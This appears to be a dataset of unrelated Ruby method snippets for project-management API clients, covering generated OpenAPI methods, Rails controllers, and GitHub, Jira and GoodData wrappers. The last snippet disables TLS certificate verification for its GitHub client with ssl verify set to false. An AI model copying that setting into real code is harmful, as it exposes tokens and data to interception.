"def get_projects_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ProjectApi.get_projects ...'\n end\n # resource path\n local_var_path = '/v1/project'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'name'] = opts[:'name'] if !opts[:'name'].nil?\n query_params[:'excludeInactive'] = opts[:'exclude_inactive'] if !opts[:'exclude_inactive'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<Project>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['X-Api-Key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProjectApi#get_projects\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def project\n request :project\n end",
"def update_project_with_http_info(api_project, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ProjectsApi#update_project ...\"\n end\n \n # verify the required parameter 'api_project' is set\n fail \"Missing the required parameter 'api_project' when calling update_project\" if api_project.nil?\n \n # resource path\n path = \"/Projects\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'brief'] = opts[:'brief'] if opts[:'brief']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json', 'text/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(api_project)\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:PUT, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'APIProject')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProjectsApi#update_project\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def initialize(title)\n @title = title\n @@all << self # on init, add self instance of Project\n # to all instances of Project arr\n end",
"def comparable\n reload! if api_response.nil?\n\n api_resource.except(\n :id,\n :web_url,\n :project_id,\n :source_project_id,\n :target_project_id,\n :merge_status,\n # these can differ depending on user fetching mr\n :user,\n :subscribed,\n :first_contribution\n ).merge({ references: api_resource[:references].except(:full) })\n end",
"def set_project\n @project_id = params[:project_id]\n if @project_id=='ALL'\n @projects = current_user.is_support? ? Project.all : Project.where(user_id: current_user.id).to_a\n else\n @project = current_user.is_support? ? Project.where(id: @project_id).first : Project.where(user_id: current_user.id, id: @project_id).first\n @projects = [@project]\n end\n end",
"def get_projects_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ProjectsApi#get_projects ...\"\n end\n \n # resource path\n path = \"/Projects\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'brief'] = opts[:'brief'] if opts[:'brief']\n query_params[:'skip'] = opts[:'skip'] if opts[:'skip']\n query_params[:'top'] = opts[:'top'] if opts[:'top']\n query_params[:'count_total'] = opts[:'count_total'] if opts[:'count_total']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<APIProject>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProjectsApi#get_projects\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def getProjectID()\n result = RestClient.get GITHUB_API + PROJECTS_PATH, :accept => 'application/vnd.github.inertia-preview+json', :'Authorization' => 'token ' + CONFIG['OAUTH']\n result = JSON.parse(result) \n end",
"def add_project_with_http_info(api_project, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ProjectsApi#add_project ...\"\n end\n \n # verify the required parameter 'api_project' is set\n fail \"Missing the required parameter 'api_project' when calling add_project\" if api_project.nil?\n \n # resource path\n path = \"/Projects\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json', 'text/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(api_project)\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'APIProject')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProjectsApi#add_project\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def projects\n @projects ||= begin\n user = api('user')\n api(\"users/#{user['id']}/projects\").sort_by { |p| p['id'] }\n end\nend",
"def projects\n Sifter.\n get(\"/api/projects\").\n parsed_response[\"projects\"].\n map { |p| Sifter::Project.new(p) }\n end",
"def get_project_with_http_info(name, version, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ProjectApi.get_project ...'\n end\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling ProjectApi.get_project\"\n end\n # verify the required parameter 'version' is set\n if @api_client.config.client_side_validation && version.nil?\n fail ArgumentError, \"Missing the required parameter 'version' when calling ProjectApi.get_project\"\n end\n # resource path\n local_var_path = '/v1/project/lookup'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'name'] = name\n query_params[:'version'] = version\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Project' \n\n # auth_names\n auth_names = opts[:auth_names] || ['X-Api-Key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProjectApi#get_project\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def projects\n my_proj = self.my_projects\n my_memb = self.collaborations\n my_proj + my_memb\n end",
"def projects\n return [] unless basecamp\n @projects ||= basecamp.projects\n end",
"def to_project\n\t\tp = Rubyfocus::Project.new(nil)\n\t\tinstance_variables.each do |ivar|\n\t\t\tnext if ivar == :\"@document\"\n\t\t\tsetter = ivar.to_s.gsub(/^@/,\"\") + \"=\"\n\t\t\tp.send(setter, self.instance_variable_get(ivar))\tif p.respond_to?(setter)\n\t\tend\n\t\tp\n\tend",
"def projects\n Easybill::Api::Projects\n end",
"def with_project(project, &bl)\n fail 'You have to specify a project when using with_project' if project.nil? || (project.is_a?(String) && project.empty?)\n old_project = GoodData.project\n begin\n GoodData.use(project)\n bl.call(GoodData.project)\n rescue RestClient::ResourceNotFound => e\n fail GoodData::ProjectNotFound.new(e)\n ensure\n GoodData.project = old_project\n end\n end",
"def [](id)\n return id if id.respond_to?(:is_project?) && id.is_project?\n if id == :all\n Project.all\n else\n if id.to_s !~ /^(\\/gdc\\/(projects|md)\\/)?[a-zA-Z\\d]+$/\n raise ArgumentError.new('wrong type of argument. Should be either project ID or path')\n end\n\n id = id.match(/[a-zA-Z\\d]+$/)[0] if id =~ /\\//\n\n response = GoodData.get PROJECT_PATH % id\n Project.new response\n end\n end",
"def api\n # Should return an instance of the API instantiated \n # with the credentials passed into the initialized.\n # Raise an error to warn it isn't implemented.\n raise NotImplementedError.new \n end",
"def parent_api; end",
"def parent_api; end",
"def project\n @client.project(:id => project_id)\n end",
"def projects_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ProjectsApi.projects_list ...'\n end\n # resource path\n local_var_path = '/projects'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'per_page'] = opts[:'per_page'] if !opts[:'per_page'].nil?\n query_params[:'account_id'] = opts[:'account_id'] if !opts[:'account_id'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n query_params[:'filters'] = @api_client.build_collection_param(opts[:'filters'], :multi) if !opts[:'filters'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n header_params[:'X-PhraseApp-OTP'] = opts[:'x_phrase_app_otp'] if !opts[:'x_phrase_app_otp'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<Project>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['Basic', 'Token']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProjectsApi#projects_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n response = ::Phrase::Response.new(data, headers)\n return response, status_code, headers\n end",
"def create_project_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ProjectApi.create_project ...'\n end\n # resource path\n local_var_path = '/v1/project'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(opts[:'body']) \n\n # return_type\n return_type = opts[:return_type] || 'Project' \n\n # auth_names\n auth_names = opts[:auth_names] || ['X-Api-Key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProjectApi#create_project\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create\n if params[:project_id]\n cloned_from = Project.find(params[:project_id])\n @project = cloned_from.clone(params, @cur_user.id)\n else\n @cloned_project = nil\n @project = Project.new project_params\n @project.user_id = @cur_user.id\n end\n\n respond_to do |format|\n if @project.save\n format.html do\n redirect_to @project, notice: 'Project was successfully created.'\n end\n format.json do\n render json: @project.to_hash(false),\n status: :created, location: @project\n end\n else\n flash[:error] = @project.errors.full_messages\n format.html { redirect_to projects_path }\n format.json do\n render json: @project.errors, status: :unprocessable_entity\n end\n end\n end\n end",
"def normalize_projects_harvest(projects)\n\n projects.each do |project|\n \n found_project = Project.find_by(original_id: project[\"resource_original_id\"])\n if found_project\n found_project.due_date = project[\"payload\"][\"ends_on\"]\n found_project.start_date = project[\"payload\"][\"starts_on\"]\n found_project.workspace_id = harvest_workspace.id\n found_project.name = project[\"payload\"][\"name\"]\n else\n found_project = Project.create!(\n original_id: project[\"resource_original_id\"],\n name: project[\"payload\"][\"name\"],\n due_date: project[\"payload\"][\"ends_on\"],\n start_date: project[\"payload\"][\"starts_on\"],\n workspace_id: harvest_workspace.id,\n )\n end\n end\n end",
"def standardize\n # Consistency between repos owned by organizations and individuals\n @api_hash['organization'] = @api_hash['owner']\n # Consistency between repos with and without licenses listed\n @api_hash['license'] ||= {\n 'key' => nil, 'name' => nil, 'spdx_id' => nil, 'url' => nil\n }\n # Consistency between forks and original repos\n @api_hash['parent'] = @api_hash['parent']&.[]('full_name')\n @api_hash['source'] = @api_hash['source']&.[]('full_name')\n end",
"def initialize\n @projects = [\n ReleaseTools::Project::GitlabEe,\n ReleaseTools::Project::GitlabCe,\n ReleaseTools::Project::OmnibusGitlab,\n ReleaseTools::Project::Gitaly,\n ReleaseTools::Project::HelmGitlab\n ]\n end",
"def api_only=(_); end",
"def project(project_id, options={})\n response_body = nil\n begin\n response = connection.get do |req|\n req.url \"/api/v1/projects/#{project_id}\", options\n end\n response_body = response.body\n rescue MultiJson::DecodeError => e\n #p 'Unable to parse JSON.'\n end\n \n response_body\n end",
"def get_project_with_http_info(project_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ProjectApi.get_project ...'\n end\n # verify the required parameter 'project_id' is set\n if @api_client.config.client_side_validation && project_id.nil?\n fail ArgumentError, \"Missing the required parameter 'project_id' when calling ProjectApi.get_project\"\n end\n # resource path\n local_var_path = '/projects/{project_id}'.sub('{' + 'project_id' + '}', CGI.escape(project_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'Project'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['oryAccessToken']\n\n new_options = opts.merge(\n :operation => :\"ProjectApi.get_project\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProjectApi#get_project\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def project\n self.format.try(:project)\n end",
"def [](id, options = {})\n return id if id.respond_to?(:project?) && id.project?\n if id == :all\n Project.all\n else\n if id.to_s !~ %r{^(\\/gdc\\/(projects|md)\\/)?[a-zA-Z\\d]+$}\n fail(ArgumentError, 'wrong type of argument. Should be either project ID or path')\n end\n\n id = id.match(/[a-zA-Z\\d]+$/)[0] if id =~ /\\//\n\n response = GoodData.get PROJECT_PATH % id\n Project.new response\n end\n end",
"def initialize(project:, from:, to:, per_page: COMMITS_PER_PAGE)\n @project = project\n @from = from\n @to = to\n @per_page = per_page\n end",
"def project(options = {})\n options = {project_id: options} if options.is_a?(String)\n project_id = options.fetch(:project_id, @project_id)\n options[:query] = {project_id: project_id}\n resp = get Project.path(project_id), options\n Bim360::Project.new(resp)\n # objects_from_response(resp, Bim360::Project)\n end",
"def api; end",
"def api; end",
"def update\n if params[:project][:owner_username]\n params[:project][:owner_id] = User.find_by_username(params[:project].delete('owner_username')).try(:id)\n end\n\n if (fps = params[:project].delete(:filter_paths_string))\n params[:project][:filter_paths] = fps.split(/[\\r\\n]+/).reject(&:blank?)\n end\n\n if (wps = params[:project].delete(:whitelist_paths_string))\n params[:project][:whitelist_paths] = wps.split(/[\\r\\n]+/).reject(&:blank?)\n end\n\n @project.assign_attributes params[:project].merge(validate_repo_connectivity: true), as: current_user.role(@project)\n @project.uses_releases_override = true if @project.uses_releases_changed?\n @project.save\n\n class << @project\n def filter_paths_string() filter_paths.join(\"\\n\") end\n def whitelist_paths_string() whitelist_paths.join(\"\\n\") end\n end\n\n respond_with @project\n end",
"def set_project\n @project = FortyTwo::Project.find(params[:id])\n end",
"def api_only=(_arg0); end",
"def get_project(id)\n project = new(get(\"/rest/api/2/project/#{id}\"))\n @@project_cache[project.name] = project\n @@project_cache[project.id] = project\n @@project_cache[project.key] = project\n return project\n end",
"def getProject(project)\r\n\t\t\t\tproject_json = JSON.parse project\r\n\t\t\t\tproject_array = project_json[\"projects\"]\r\n\t\t\t\treturn jsonToProject(project_array[0])\r\n\t\t\tend",
"def initialize(api)\n @api = api\n end",
"def status_project(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'StatusProject'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :project_name\n\t\t\targs[:query]['ProjectName'] = optional[:project_name]\n\t\tend\n\t\tself.run(args)\n\tend",
"def project\n @scope = 'project'\n @edit_role = 'resource_admin'\n @js_data[:project_id] = params[:override_project_id] || @scoped_project_id\n @js_data[:domain_id] = params[:override_domain_id] || @scoped_domain_id\n\n auth_params = { selected: @js_data }\n enforce_permissions('::resources:project:show', auth_params)\n @js_data[:can_edit] = current_user.is_allowed?('resources:project:edit', auth_params)\n\n render action: 'show'\n end",
"def projects\n @projects ||= begin\n http = Net::HTTP.new(API_HOST, API_PORT)\n http.use_ssl = true\n http.ca_file = (Twigg.root + 'files' + 'github.pem').to_s\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n uri = ORG_REPOS_ENDPOINT % Config.github.organization\n headers = { 'Authorization' => \"token #{Config.github.token}\" }\n\n [].tap do |names|\n begin # loop: page through project list\n request = Net::HTTP::Get.new(uri, headers)\n response = http.request(request)\n raise \"Bad response #{response.inspect}\" unless response.is_a?(Net::HTTPOK)\n names.concat JSON[response.body].map { |repo| repo['name'] }\n uri = parse_link(response['Link'])\n end until uri.nil?\n end\n end\n end",
"def edit\n class << @project\n def filter_paths_string() filter_paths.join(\"\\n\") end\n def whitelist_paths_string() whitelist_paths.join(\"\\n\") end\n end\n\n respond_with @project\n end",
"def projects\n @projects ||= Project.all\n end",
"def project\n service.project\n end",
"def copy\n projectid = params[:project_id]\n subprojectid = params[:subproject_id]\n versiontocopy = params[:versiontocopy]\n subsubproject_to_copy = Subsubproject.find(versiontocopy)\n new_subsubproject = Subsubproject.find(versiontocopy).dup\n new_subsubproject.name = new_subsubproject.name + ' (neu)'\n new_subsubproject.master = false\n new_subsubproject.save!\n\n # copy/duplicate offertpositions\n subsubproject_to_copy.offertpositions.each do |offertposition|\n new_offertposition = offertposition.dup\n new_offertposition.subsubproject_id = new_subsubproject.id\n new_offertposition.save!\n end\n\n # copy/duplicate grobengineerings\n grobengineerings_to_copy = Grobengineering.where(:subsubproject_id => versiontocopy).order(:id)\n grobengineerings_to_copy.each do |grobengineering|\n new_record = grobengineering.dup\n new_record.subsubproject_id = new_subsubproject.id\n offertposition = Offertposition.where(:subsubproject_id => new_subsubproject.id, :name => grobengineering.offertposition.name).first\n if !offertposition.nil?\n new_record.offertposition_id = offertposition.id\n end\n new_record.save!\n end\n\n redirect_to project_subproject_path(projectid, subprojectid),\n :notice => 'Version erfolgreich kopiert'\n\n end",
"def setup_projects(api_client)\n\n options = Proc.new{|folder_id| \n {\n 'q' => \"'#{folder_id}' in parents\",\n 'fields' => 'items(alternateLink,id,kind,title,webViewLink)'\n }\n }\n\n # TODO: dry it up\n projects = api_client.request('files.list', options.call(self.root_folder_id))\n projects_array = []\n # For each project, grab sections\n projects.items.each do |project|\n project_json = {\n id: project.id,\n title: project.title,\n url: project.alternate_link,\n web_url: project.web_view_link, \n sections: []\n }\n\n # For each section, grab files\n sections = api_client.request('files.list', options.call(project.id))\n sections.items.each do |section|\n section_json = {\n id: section.id,\n title: section.title,\n url: section.alternate_link,\n web_url: section.web_view_link,\n files: []\n }\n files = api_client.request('files.list', options.call(section.id))\n files.items.each do |file|\n file_json = {\n id: file.id,\n title: file.title,\n web_url: file.web_view_link, \n url: file.alternate_link\n }\n section_json[:files] << file_json\n end\n project_json[:sections] << section_json\n end\n projects_array << project_json\n end\n\n Rails.cache.write(keyring(:projects), projects_array.to_json)\n\n end",
"def back_project_0(project)\n new_project = ProjectBacker.new(project, self)\n end",
"def project\n @path = \"/services/Admin\"\n @project ||= Nephophobia::Resource::Project.new self\n end",
"def set_project\n # @project = Project.find(params[:id])\n end",
"def find_all\n api.command(:listProjects).collect do |project|\n project[1]['project'].map { |p| self.new p }\n end.flatten\n end",
"def create_project_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ProjectApi.create_project ...'\n end\n # resource path\n local_var_path = '/projects'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(opts[:'create_project_body'])\n\n # return_type\n return_type = opts[:debug_return_type] || 'Project'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['oryAccessToken']\n\n new_options = opts.merge(\n :operation => :\"ProjectApi.create_project\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProjectApi#create_project\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def jsonToProject(jsonObject)\r\n\t\t\t\tproject = Project.new\t\r\n\t\t\t\t\r\n\t\t\t\tif jsonObject.has_key?(\"id\")\r\n\t\t\t\t\tproject.setId(jsonObject[\"id\"])\r\n\t\t\t\tend\r\n\t\t\t\tif jsonObject.has_key?(\"id_string\")\r\n\t\t\t\t\tproject.setIdString(jsonObject[\"id_string\"])\r\n\t\t\t\tend\r\n\t\t\t\tif jsonObject.has_key?(\"name\")\r\n\t\t\t\t\tproject.setName(jsonObject[\"name\"])\r\n\t\t\t\tend\r\n\t\t\t\tif jsonObject.has_key?(\"status\")\r\n\t\t\t\t\tproject.setStatus(jsonObject[\"status\"])\r\n\t\t\t\tend\r\n\t\t\t\tif jsonObject.has_key?(\"created_date\")\r\n\t\t\t\t\tproject.setCreatedDate(jsonObject[\"created_date\"])\r\n\t\t\t\tend\r\n\t\t\t\tif jsonObject.has_key?(\"created_date_format\")\r\n\t\t\t\t\tproject.setCreatedDateFormat(jsonObject[\"created_date_format\"])\r\n\t\t\t\tend\r\n\t\t\t\tif jsonObject.has_key?(\"created_date_long\")\r\n\t\t\t\t\tproject.setCreatedDateLong(jsonObject[\"created_date_long\"])\r\n\t\t\t\tend\r\n\t\t\t\tif jsonObject.has_key?(\"description\")\r\n\t\t\t\t\tproject.setDescription(jsonObject[\"description\"])\r\n\t\t\t\tend\r\n\t\t\t\tif jsonObject.has_key?(\"owner_name\")\r\n\t\t\t\t\tproject.setOwnerName(jsonObject[\"owner_name\"])\r\n\t\t\t\tend\r\n\t\t\t\tif jsonObject.has_key?(\"owner_id\")\r\n\t\t\t\t\tproject.setOwnerId(jsonObject[\"owner_id\"])\r\n\t\t\t\tend\r\n\t\t\t\t\r\n\t\t\t\tif jsonObject.has_key?(\"task_count\")\r\n\t\t\t\t\ttaskCount = jsonObject[\"task_count\"]\r\n\t\t\t\t\tif taskCount.has_key?(\"open\")\r\n\t\t\t\t\t\tproject.setOpenTaskCount(taskCount[\"open\"])\r\n\t\t\t\t\tend\r\n\t\t\t\t\tif taskCount.has_key?(\"closed\")\r\n\t\t\t\t\t\tproject.setClosedTaskCount(taskCount[\"closed\"])\r\n\t\t\t\t\tend\r\n\t\t\t\tend\r\n\t\t\t\t\r\n\t\t\t\tif jsonObject.has_key?(\"milestone_count\")\r\n\t\t\t\t\tmilestoneCount = jsonObject[\"milestone_count\"]\r\n\t\t\t\t\tif milestoneCount.has_key?(\"open\")\r\n\t\t\t\t\t\tproject.setOpenMilestoneCount(milestoneCount[\"open\"])\r\n\t\t\t\t\tend\r\n\t\t\t\t\tif milestoneCount.has_key?(\"closed\")\r\n\t\t\t\t\t\tproject.setClosedMilestoneCount(milestoneCount[\"closed\"])\r\n\t\t\t\t\tend\r\n\t\t\t\tend\r\n\r\n\t\t\t\tif jsonObject.has_key?(\"bug_count\")\r\n\t\t\t\t\tbugCount = jsonObject[\"bug_count\"]\r\n\t\t\t\t\tif bugCount.has_key?(\"open\")\r\n\t\t\t\t\t\tproject.setOpenBugCount(bugCount[\"open\"])\r\n\t\t\t\t\tend\r\n\t\t\t\t\tif bugCount.has_key?(\"closed\")\r\n\t\t\t\t\t\tproject.setClosedBugCount(bugCount[\"closed\"])\r\n\t\t\t\t\tend\r\n\t\t\t\tend\r\n\t\t\t\t\r\n\t\t\t\tif jsonObject.has_key?(\"link\")\r\n\t\t\t\t\tlink = jsonObject[\"link\"]\r\n\t\t\t\t\t\r\n\t\t\t\t\tif link.has_key?(\"self\")\r\n\t\t\t\t\t\tproject.setURL(link[\"self\"][\"url\"])\r\n\t\t\t\t\tend\r\n\t\t\t\t\tif link.has_key?(\"activity\")\r\n\t\t\t\t\t\tproject.setActivityURL(link[\"activity\"][\"url\"])\r\n\t\t\t\t\tend\r\n\t\t\t\t\tif link.has_key?(\"milestone\")\r\n\t\t\t\t\t\tproject.setMilestoneURL(link[\"milestone\"][\"url\"])\r\n\t\t\t\t\tend\r\n\t\t\t\t\tif link.has_key?(\"tasklist\")\r\n\t\t\t\t\t\tproject.setTasklistURL(link[\"tasklist\"][\"url\"])\r\n\t\t\t\t\tend\r\n\t\t\t\t\tif link.has_key?(\"task\")\r\n\t\t\t\t\t\tproject.setTaskURL(link[\"task\"][\"url\"])\r\n\t\t\t\t\tend\r\n\t\t\t\t\tif link.has_key?(\"bug\")\r\n\t\t\t\t\t\tproject.setBugURL(link[\"bug\"][\"url\"])\r\n\t\t\t\t\tend\r\n\t\t\t\t\tif link.has_key?(\"timesheet\")\r\n\t\t\t\t\t\tproject.setTimesheetURL(link[\"timesheet\"][\"url\"])\r\n\t\t\t\t\tend\r\n\t\t\t\t\tif link.has_key?(\"status\")\r\n\t\t\t\t\t\tproject.setStatusURL(link[\"status\"][\"url\"])\r\n\t\t\t\t\tend\r\n\t\t\t\t\tif link.has_key?(\"event\")\r\n\t\t\t\t\t\tproject.setEventURL(link[\"event\"][\"url\"])\r\n\t\t\t\t\tend\r\n\t\t\t\t\tif link.has_key?(\"document\")\r\n\t\t\t\t\t\tproject.setDocumentURL(link[\"document\"][\"url\"])\r\n\t\t\t\t\tend\r\n\t\t\t\t\tif link.has_key?(\"folder\")\r\n\t\t\t\t\t\tproject.setFolderURL(link[\"folder\"][\"url\"])\r\n\t\t\t\t\tend\r\n\t\t\t\t\tif link.has_key?(\"forum\")\r\n\t\t\t\t\t\tproject.setForumURL(link[\"forum\"][\"url\"])\r\n\t\t\t\t\tend\r\n\t\t\t\t\tif link.has_key?(\"user\")\r\n\t\t\t\t\t\tproject.setUserURL(link[\"user\"][\"url\"])\r\n\t\t\t\t\tend\r\n\t\t\t\tend\r\n\t\t\t\t\r\n\t\t\t\treturn project\r\n\t\t\tend",
"def projects\n Harvest::Resources::Project\n end",
"def project_info(project_key)\n request = ServiceHelper.new base_url: @jira_url, path: \"rest/api/3/project\"\n request.auth 'basic', @jira_user, @jira_token\n request.headers.add 'Accept', 'application/json'\n request.append_to_route project_key\n response = request.get\n raise Exception, response.body unless response.ok?\n\n response.parsed_body\n end",
"def new\n project = current_project\n\n # TODO: replace with project.dup ?\n @project = duplicate_project(project)\n respond_to do |format|\n if is_admin?\n format.html # new.html.erb\n format.xml { render xml: @project }\n else\n format.html { redirect_to projects_path }\n format.xml { render xml: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\r\n # This can and probably SHOULD be replaced with some URL rewrite magic\r\n # now that the project loader is Redmine project based.\r\n find_project()\r\n end",
"def project\n get_or_make_reference('Project', @data, 'project_id')\n end",
"def project\n get_or_make_reference('Project', @data, 'project_id')\n end",
"def initialize_api\n @github_api = ::Github::Repos.new do |github_config|\n github_config.endpoint = @endpoint if @endpoint\n github_config.site = @site if @site\n github_config.basic_auth = @auth\n github_config.repo = @repo\n github_config.org = @org\n github_config.adapter = :net_http\n github_config.ssl = {:verify => false}\n end\n end",
